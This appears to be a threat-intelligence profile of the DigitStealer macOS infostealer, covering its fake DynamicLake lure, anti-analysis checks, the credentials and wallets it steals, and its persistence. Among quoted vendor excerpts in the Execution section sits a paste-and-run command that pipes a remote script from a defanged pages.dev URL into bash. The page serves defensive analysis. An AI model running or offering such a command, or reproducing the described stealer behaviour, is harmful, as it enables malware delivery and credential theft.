DigitStealer
DigitStealer is a macOS infostealer first observed in late 2025 and described by multiple sources as a sophisticated, macOS-specific stealer. It has been associated with social-engineering-driven campaigns targeting Mac users, including fake software sites, malicious DMG installers, and ClickFix-style or drag-to-Terminal prompts. A documented lure used a fake DynamicLake utility distributed as an unsigned DynamicLake.dmg from dynamiclake[.]org, with payload retrieval from Cloudflare Pages infrastructure. Microsoft also reported DigitStealer delivery in campaigns using fake DynamicLake software.
High-confidence reporting describes DigitStealer as heavily focused on stealth and platform awareness. It uses fileless or largely fileless execution, native macOS utilities, AppleScript, JXA, and multi-stage payload delivery to evade detection. Reported anti-analysis and execution-gating behavior includes locale restrictions, virtual-machine detection, and hardware checks that prevent execution on Intel Macs, Apple M1 systems, and older devices; Jamf specifically reported targeting of Apple Silicon M2-and-newer Macs. One source also states the malware was undetected on VirusTotal at the time of analysis.
Its theft capabilities include harvesting browser credentials and data from Chrome, Brave, Edge, and Firefox; macOS Keychain contents; cryptocurrency wallet data; VPN configurations including OpenVPN and Tunnelblick; Telegram session/data; developer secrets; session data; and files from user directories such as Desktop, Documents, Downloads, Notes, and browser-related stores. Reported wallet targets include Ledger, Electrum, Exodus, and Coinomi. Jamf reported that an AppleScript stage prompts the victim for their macOS password, steals credentials and files, and exfiltrates them to attacker-controlled infrastructure.
Additional behavior attributed to DigitStealer includes resetting macOS TCC permissions to weaken privacy protections, modifying the Ledger Live application, and splitting malicious functionality across multiple stages to reduce detection. Jamf reported a persistence mechanism via a Launch Agent that retrieves a JXA payload through DNS TXT records, with the persistent agent polling command-and-control every 10 seconds and sending a hashed hardware UUID to the C2. Microsoft reported that stolen data was sent to attacker-controlled servers and that traces of infection were deleted afterward.
DigitStealer has been referenced alongside other macOS stealers such as Atomic macOS Stealer (AMOS) and MacSync in broader 2025 macOS infostealer activity. It emerged toward the end of 2025 as a newcomer in the macOS stealer market. Malwarebytes reported detection as MacOA.Stealer.DigitSteal. Some reporting notes that certain samples detected as DigitStealer may actually be distinct malware variants, so attribution of all similarly labeled samples should be treated cautiously.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Initial Access
1 technique
Initial Access
Mac users are encountering deceptive websites—often through Google Ads or malicious advertisements... During November 2025, Microsoft Defender Experts identified a WhatsApp platform abuse campaign... sends malicious attachments to all contacts using predefined messaging templates.
Execution
6 techniques
Execution
The final stage establishes persistence through a Launch Agent that dynamically retrieves its payload from a DNS TXT record.
Adversaries began using those same paste-and-run methods on macOS, replacing PowerShell with a combination of shell script and AppleScript code.
Once the fateful paste into a Terminal window took place, the traditional AppleScript stealer code we’ve observed in previous years executed to gather data and exfiltrate.
curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx| bash
A second, more complex JavaScript for Automation (JXA) payload is delivered... The downloaded JXA script acts as a long-running backdoor, polling the C2 server every 10 seconds for new AppleScript or JavaScript commands.
Adversaries began exploring how they could distribute malware in script form to evade Gatekeeper entirely... Adversaries began using those same paste-and-run methods on macOS... Once the fateful paste into a Terminal window took place, the traditional AppleScript stealer code we’ve observed in previous years executed to gather data and exfiltrate.
Persistence
4 techniques
Persistence
Privilege Escalation
3 techniques
Privilege Escalation
Stealth
4 techniques
Stealth
The newly discovered sample was found packaged as an unsigned disk image named DynamicLake.dmg, spoofing the legitimate macOS utility... The disk image appears to masquerade as the legitimate DynamicLake macOS utility... Instead, the fake version is distributed via the domain dynamiclake[.]org.
Once decoded, the dropper reveals unusually extensive anti-analysis features, including locale restrictions, VM detection, and hardware-specific sysctl checks.
Defense Impairment
1 technique
Defense Impairment
Credential Access
6 techniques
Credential Access
The first major payload is surprisingly straightforward: an AppleScript that prompts the victim for their macOS password and immediately begins credential harvesting.
Leverage Defender’s custom detection rules to alert on abnormal access to Keychain, browser credential stores, and cloud/developer artifacts, including SSH keys, Kubernetes configs, AWS credentials, and wallet data.
These campaigns leverage... to harvest credentials, session data, secrets from browsers, keychains, and developer environments.
All three harvest the same types of data—browser credentials, saved passwords... CrystalPDF.exe... covertly hijacking Firefox and Chrome browsers to access sensitive files... including cookies, session data, and credential caches.
Discovery
3 techniques
Discovery
Once decoded, the dropper reveals unusually extensive anti-analysis features, including locale restrictions, VM detection, and hardware-specific sysctl checks.
Collection
4 techniques
Collection
The first major payload is surprisingly straightforward: an AppleScript that prompts the victim for their macOS password and immediately begins credential harvesting.
Command and Control
3 techniques
Command and Control
The downloaded JXA script acts as a long-running backdoor, polling the C2 server every 10 seconds for new AppleScript or JavaScript commands.
IOCs tracked for this family
8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
11 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Referenced as a similar-but-distinct macOS stealer family; the content argues the analyzed malware is not DigitStealer, citing differences (e.g., no geofencing for Russia/CIS, no Ledger wallet modification, no Python modules, no DNS beaconing, no Deobf-io obfuscation).
macOS infostealer; content notes newly tracked infrastructure and suggests operation by a single developer or very small team.
A macOS stealer family newly observed toward the end of 2025 and among the least common observed stealers.
macOS-targeting infostealer referenced as being deployed via social-engineering prompts (ClickFix-style) and malicious DMG installers in observed campaigns.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.